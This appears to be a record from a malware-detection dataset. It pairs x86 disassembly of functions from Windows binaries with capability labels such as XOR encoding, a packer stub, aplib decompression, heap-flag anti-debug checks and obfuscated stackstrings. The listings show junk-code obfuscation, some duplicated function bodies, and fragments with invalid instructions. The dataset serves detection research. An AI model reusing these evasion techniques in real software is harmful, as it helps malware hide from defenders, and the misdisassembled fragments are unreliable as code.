joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413da7
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push esi
push eax
add esp, 4
or esi, 0x114bc
pop esi
push edi
sub edi, 0x8d1a
and edi, 0xd9dd
and edi, 0xd447
xor edi, 0x9cea
pop edi
push edx
push eax
add esp, 4
and edx, 0xc0be
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x413b96
push esi
push esi
add esp, 4
add esi, 0x11013
and esi, 0xcfba
sub esi, 0x15435
pop esi
push eax
or eax, 0x1ba7
or eax, 0x8385
and eax, 0x16a0b
sub eax, 0x117ca
pop eax
jmp 0x413dc4
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ebx
sub ebx, 0x1668d
xor ebx, 0x7f9e
jmp 0x413bbe
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x8cd0
pop esi
push edi
push eax
add esp, 4
add edi, 0xc955
jmp 0x413bdd
pop edi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x413c45
push eax
push eax
add esp, 4
or eax, 0x47a5
or eax, 0xb725
jmp 0x413c19
pop eax
push esi
or esi, 0x46a4
and esi, 0x950
add esi, 0x684e
or esi, 0x75e
pop esi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x413d76
cmp dword [ebp - 0xc08], 0
jle 0x413d6a
push eax
push ecx
add esp, 4
add eax, 0x1752
pop eax
push ecx
and ecx, 0x37a5
add ecx, 0x17c59
pop ecx
push ecx
jmp 0x413c73
pop ecx
push eax
sub eax, 0xb2a8
pop eax
push edx
sub edx, 0x1303e
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x413d06
push eax
push ebx
add esp, 4
add eax, 0x11be8
pop eax
push esi
push ecx
add esp, 4
add esi, 0x59d6
pop esi
push edi
push ebx
add esp, 4
and edi, 0x9d3d
add edi, 0xd7b4
jmp 0x413ccb
pop edi
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x413cee
mov dword [ebp - 0x14c0], 1
jmp 0x413cf8
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x413d6a
push edi
push ecx
add esp, 4
sub edi, 0x16b98
xor edi, 0xedc
sub edi, 0x5500
sub edi, 0x1542b
pop edi
push esi
push eax
add esp, 4
xor esi, 0xce62
pop esi
push edx
xor edx, 0xdd1a
pop edx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x413c45
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x413dbf
push eax
push esi
add esp, 4
xor eax, 0x12233
pop eax
push eax
add eax, 0x8af7
pop eax
push ebx
sub ebx, 0x4f7e
call 0x413da7
add byte [edi + eax*2 + 0x39], al
inc eax
inc edi
cmp bh, byte [edx]
add esp, 4
or ebx, 0xb886
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x413e00
jmp 0x413b0d
push ecx
push esi
add esp, 4
jmp fcn.00413dd0
Function at 0x413dd0
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
or ecx, 0x1614
pop ecx
push edx
push esi
add esp, 4
jmp 0x413de2
jmp 0x413de8
add edx, 0x1d5e
jmp 0x413df5
pop edx
mov dword [ebp - 0x3cc], 0
push esi
push eax
add esp, 4
xor esi, 0x8c6f
and esi, 0xf0be
sub esi, 0x221b
pop esi
push esi
sub esi, 0x11eab
xor esi, 0x7f73
or esi, 0xd5e2
and esi, 0x6eba
pop esi
push ecx
push ecx
add esp, 4
and ecx, 0x16e44
and ecx, 0x37a0
xor ecx, 0x768c
and ecx, 0xc68e
pop ecx
push edx
push esi
add esp, 4
or edx, 0x11fb4
pop edx
push edi
and edi, 0x929b
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
xor edx, 0x9147
and edx, 0x121c
pop edx
push eax
or eax, 0x931d
pop eax
push esi
or esi, 0x346c
or esi, 0xdd4e
jmp 0x413ea4
xor esi, 0xa71b
pop esi
mov dword [ebp - 0x1fac], 0xffffffff
push edi
add edi, 0x30e3
and edi, 0x17be
pop edi
push eax
push edx
add esp, 4
xor eax, 0xeb2
and eax, 0xd49a
xor eax, 0xd96c
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x1d77
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x413f04
xor bl, bh
invalid
push ebx
push edi
add esp, 4
jmp 0x413f10
pop ebx
push edx
push edx
add esp, 4
sub edx, 0x182b
pop edx
push eax
call 0x413f2c
add byte [ebx + 0x49], cl
dec ecx
cmp ecx, dword [ecx + 0x4c]
cmp cl, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
loopne 0x413ef7
test byte [ecx], al
add byte [eax - 0x75], bl
test dword [eax], esi
sti
invalid

Function at 0x413f2c
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
or ecx, 0x1614
pop ecx
push edx
push esi
add esp, 4
jmp 0x413de2
jmp 0x413de8
add edx, 0x1d5e
jmp 0x413df5
pop edx
mov dword [ebp - 0x3cc], 0
push esi
push eax
add esp, 4
xor esi, 0x8c6f
and esi, 0xf0be
sub esi, 0x221b
pop esi
push esi
sub esi, 0x11eab
xor esi, 0x7f73
or esi, 0xd5e2
and esi, 0x6eba
pop esi
push ecx
push ecx
add esp, 4
and ecx, 0x16e44
and ecx, 0x37a0
xor ecx, 0x768c
and ecx, 0xc68e
pop ecx
push edx
push esi
add esp, 4
or edx, 0x11fb4
pop edx
push edi
and edi, 0x929b
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
xor edx, 0x9147
and edx, 0x121c
pop edx
push eax
or eax, 0x931d
pop eax
push esi
or esi, 0x346c
or esi, 0xdd4e
jmp 0x413ea4
xor esi, 0xa71b
pop esi
mov dword [ebp - 0x1fac], 0xffffffff
push edi
add edi, 0x30e3
and edi, 0x17be
pop edi
push eax
push edx
add esp, 4
xor eax, 0xeb2
and eax, 0xd49a
xor eax, 0xd96c
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x1d77
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x413f04
xor bl, bh
invalid
push ebx
push edi
add esp, 4
jmp 0x413f10
pop ebx
push edx
push edx
add esp, 4
sub edx, 0x182b
pop edx
push eax
call 0x413f2c
add byte [ebx + 0x49], cl
dec ecx
cmp ecx, dword [ecx + 0x4c]
cmp cl, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
loopne 0x413ef7
test byte [ecx], al
add byte [eax - 0x75], bl
test dword [eax], esi
sti
invalid
Function at 0x4151ab
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
add esi, 0xb36b
pop esi
push edx
push ebx
add esp, 4
jmp 0x415192
or edx, 0xbc97
xor edx, 0x6f70
call fcn.004151ab
add byte [edx], bh
aaa
xor al, 0x45
inc esp
aas
cmp byte [ebx - 0x74a5fb3c], al
add esp, 4
pop edx
invalid
invalid
add esp, 4
pop edx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push edi
add esp, 4
add edx, 0x3809
pop edx
push esi
push ecx
add esp, 4
sub esi, 0x10c72
pop esi
push eax
sub eax, 0x774c
xor eax, 0x58f4
add eax, 0x5394
add eax, 0xbd8e
pop eax
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x415255
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4152af
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x41517d
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x41517d
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x415299
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4152a3
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x4152f8
push eax
push ecx
add esp, 4
sub eax, 0x15b6c
or eax, 0x5677
add eax, 0x12eea
pop eax
push edx
push edx
add esp, 4
jmp 0x41531d
pop edx
push ecx
push edx
add esp, 4
jmp 0x415329
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x415356
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x415121
mov dword [ebp - 0x2e0], 0
Function at 0x415e70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
xor edx, 0x17e78
add edx, 0x5230
call 0x415e70
add byte [eax + 0x3c], dl
dec edi
cmp eax, 0xc4834746
add al, 0x5a
push ebx
push ebx
add esp, 4
sub ebx, 0x17172
pop ebx
push ebx
or ebx, 0x799e
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
add ecx, 0x78ae
jmp 0x415ebe
add ecx, 0x14a0e
pop ecx
push esi
add esi, 0x4c38
call 0x415eda
add byte [edx + 0x35], al
aaa
dec edx
inc esi
cmp ecx, dword [edx + 0x4e]
add esp, 4
sub esi, 0x7b61
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push eax
add esp, 4
sub edx, 0x9473
pop edx
push esi
xor esi, 0x5cc1
jmp 0x415f54
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x7ed0
jmp 0x415f66
or ecx, 0x39c3
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x415f8a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x415fe4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x415eb2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x415eb2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x415fce
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x415fd8
invalid
invalid
Function at 0x415eda
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
xor edx, 0x17e78
add edx, 0x5230
call 0x415e70
add byte [eax + 0x3c], dl
dec edi
cmp eax, 0xc4834746
add al, 0x5a
push ebx
push ebx
add esp, 4
sub ebx, 0x17172
pop ebx
push ebx
or ebx, 0x799e
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
add ecx, 0x78ae
jmp 0x415ebe
add ecx, 0x14a0e
pop ecx
push esi
add esi, 0x4c38
call 0x415eda
add byte [edx + 0x35], al
aaa
dec edx
inc esi
cmp ecx, dword [edx + 0x4e]
add esp, 4
sub esi, 0x7b61
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push eax
add esp, 4
sub edx, 0x9473
pop edx
push esi
xor esi, 0x5cc1
jmp 0x415f54
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x7ed0
jmp 0x415f66
or ecx, 0x39c3
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x415f8a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x415fe4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x415eb2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x415eb2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x415fce
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x415fd8
invalid
invalid
Function at 0x415f60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
xor edx, 0x17e78
add edx, 0x5230
call 0x415e70
add byte [eax + 0x3c], dl
dec edi
cmp eax, 0xc4834746
add al, 0x5a
push ebx
push ebx
add esp, 4
sub ebx, 0x17172
pop ebx
push ebx
or ebx, 0x799e
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
add ecx, 0x78ae
jmp 0x415ebe
add ecx, 0x14a0e
pop ecx
push esi
add esi, 0x4c38
call 0x415eda
add byte [edx + 0x35], al
aaa
dec edx
inc esi
cmp ecx, dword [edx + 0x4e]
add esp, 4
sub esi, 0x7b61
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push eax
add esp, 4
sub edx, 0x9473
pop edx
push esi
xor esi, 0x5cc1
jmp 0x415f54
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x7ed0
jmp 0x415f66
or ecx, 0x39c3
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x415f8a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x415fe4
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x415eb2
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x415eb2
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x415fce
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x415fd8
invalid
invalid
Function at 0x42cbf5
Capabilities:
Encode data using xor

Disassembly:
mov byte [esi], 0x83
in eax, 0x84
test eax, 0x8ed0202
cmp edi, dword [0x4950513b]
sub ebp, 0x31
adc byte [edx], al
add ch, dl
or al, byte [edx]
add al, byte [edx]
add cl, byte [edi + 0x49]
dec esi
cmp eax, 0x8540463d
mov byte [esi], 0x5d
lea edx, [edi + 0x101fbf2]
add eax, 0x100ae97
add dword [ecx], edx
rol byte [eax*4 - 0x7072dd36], 0xae
add byte [ecx], al
add dword [ecx], edx
rcl byte [esi + 0x1f8b20f], 1
test esp, ecx
and bh, byte [0xc90e7fc4]
xchg dword [esi + 0x10101f2], edi
add dword [ecx], eax
add ebp, ebp
or al, 0xc9
xchg dword [esi + 0x30101f2], edi
add al, byte [edx]
add al, byte [ebp + 0x1f2bebf]
add dword [edx], eax
ja 0x42cc72
lea eax, [edi + 0x101e52a]
mov eax, dword [edi + 0x101fd4e]
in eax, dx
adc ebp, ebx
out 0xff, eax
add dword [ecx], eax
lea ecx, [edi + 0x101fbee]
mov ecx, dword [edi + 0x101fd4e]
lea edx, [edi + 0x101fd4e]
mov edx, dword [edi + 0x101f77a]
pop dword [edi + 0x101e526]
push edx
insb byte es:[edi], dx
inc dword [ecx]
add dword [ebp + 0x1fbee8f], ecx
add dword [ebx + 0x1fd4e8f], ecx
add dword [ebp + 0x1fd4e97], ecx
add dword [ebx + 0x1f77a97], ecx
add dword [edi + 0x1e52687], ecx
add dword [edx + 0x6c], edx
inc edx
lea ecx, [edi + 0x101f78a]
push ebx
lea edx, [edi + 0x101f836]
push esp
add dword [edi + 0x101f77a], edx
xchg edx, eax
ja 0x42ccee
pop eax
push esp
test esi, eax
push es
xor eax, 0xfffffffa
hlt
clc
add dword [ecx], eax
mov eax, dword [edi + 0x101f786]
test dword [edi + 0x101f786], edi
add dh, byte [edi + 0x39]
pop eax
pop eax
test esi, eax
push es
in eax, dx
or byte [ecx + edi], bh
inc ebx
cmp eax, 0x5cf0834e
test byte [edx], 2
xor eax, 0x2e
xchg byte [edx], al
add ah, byte [eax + 0x53]
push esp
test esi, eax
push es
or ebx, 0xffffffae
dec esi
add al, byte [edx]
add ebx, 0x78
fiadd word [edx]
add ch, ch
push es
inc eax
cmp esi, dword [edi]
inc eax
pop ebx
jmp 0x42cd80
xchg dword [ecx - 0xa], edi
add dword [ecx], eax
invalid
Function at 0x43bec0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44661c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], 0
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [ebp - 4], 0
push 0x447e7d
mov dword [esi + 0x10], 0
mov ecx, esi
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.00402240
mov eax, dword [edi + 4]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
test eax, eax
jne 0x43bf27
mov eax, dword [edi + 8]
test eax, eax
je 0x43bf48
push eax
call fcn.00440e20
mov edi, eax
add esp, 4
test edi, edi
je 0x43bf48
push edi
mov ecx, esi
call fcn.00402240
push edi
call dword [0x447550]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x43f970
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x444da0
push eax
mov dword fs:[0], esp
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], 0
mov dword [ebx], vtable.libutilos::CJsonObject.0
call fcn.0043bd90
mov esi, dword [ebx + 0x2c]
push dword [esi + 4]
lea ecx, [ebx + 0x2c]
mov byte [ebp - 4], 1
call fcn.0043fba0
mov eax, dword [ebx + 0x2c]
push 0x2c
mov dword [eax + 4], esi
mov eax, dword [ebx + 0x2c]
mov dword [eax], esi
mov eax, dword [ebx + 0x2c]
mov dword [eax + 8], esi
mov dword [ebx + 0x30], 0
push dword [ebx + 0x2c]
call fcn.0040c60c
add esp, 8
lea ecx, [ebx + 0x24]
call fcn.0043ff60
push 0x18
push dword [ebx + 0x24]
call fcn.0040c60c
mov ecx, dword [ebx + 0x20]
add esp, 8
cmp ecx, 0x10
jb 0x43fa1b
mov eax, dword [ebx + 0xc]
inc ecx
cmp ecx, 0x1000
jb 0x43fa11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43fa53
mov eax, edx
push ecx
push eax
call fcn.0040c60c
add esp, 8
test byte [ebp + 8], 1
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
je 0x43fa3e
push 0x34
push ebx
call fcn.0040c60c
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [0x4475d8]
int3

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0xaa2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00aa21a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaa207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa206a
add dl, dl
jne 0xaa2089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa20dc
xor eax, eax
add dl, dl
jne 0xaa2096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa217d
add dl, dl
jne 0xaa20a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa20b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa20bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa20c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaa20d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaa2075
mov eax, 1
add dl, dl
jne 0xaa20ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa20f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa20e1
sub eax, ebx
mov ebx, 1
jne 0xaa2128
mov ecx, 1
add dl, dl
jne 0xaa210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaa2119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa2105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa2075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaa213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaa214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa2136
cmp eax, 0x7d00
jae 0xaa216d
cmp eax, 0x500
jb 0xaa2168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa2075
cmp eax, 0x7f
ja 0xaa2170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa2075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaa219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaa2075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403bd0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, eax
test edi, edi
jne 0x403bf0
push str.Error:_Unable_to_register_MTU_notification__no_callback__n
call fcn.00403fb0
add esp, 4
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 0x10
call fcn.004040cb
mov esi, eax
add esp, 4
test esi, esi
jne 0x403c17
push str.Error:_NOTIFICATION_CONTEXT_memory_allocation_failure._n
call fcn.00403fb0
add esp, 4
pop esi
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov cl, byte [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [esi], eax
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x403c70
push 0
push 0
mov byte [esi + 4], cl
mov dword [esi + 8], edi
mov dword [esi + 0xc], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403c62
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error:_Unable_to_register_notification__error__d_n
call fcn.00403fb0
push esi
call fcn.00404091
add esp, 0xc
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403fb0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x411014]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x404]
push 0x400
push edx
call fcn.0040464c
add esp, 0x14
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403ffe
mov esp, ebp
pop ebp
ret

Function at 0x403ffe
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411014]
jne 0x404008
repz ret
jmp fcn.00404887

Function at 0x405831
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ecx
or byte [ecx], dl
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
idiv edx
invalid
dec dword [edi - 0x3a]
test eax, edi
cli
invalid
push dword [ebp - 0x3a]
test ecx, edi
cli
invalid
jmp dword [esi - 0x3a]
test edx, edi
cli
invalid
invalid
jns 0x405864
test ebx, edi
cli
invalid
call [ecx*4 - 0x5137b]
call dword [eax - 0x18]
jge 0x4058a1
invalid
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404be2
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.00404c1d
std
ja 0x4058bf
or al, 0x89
test esp, eax
cld
invalid
adc eax, 0x10468
add byte [ebp - 0x3337b], cl
test esp, ecx
cld
invalid
call dword [eax - 1]
jne 0x4058e6
call dword [ebp - 0x538]
invalid
test dword [eax - 4], ebp
invalid
cld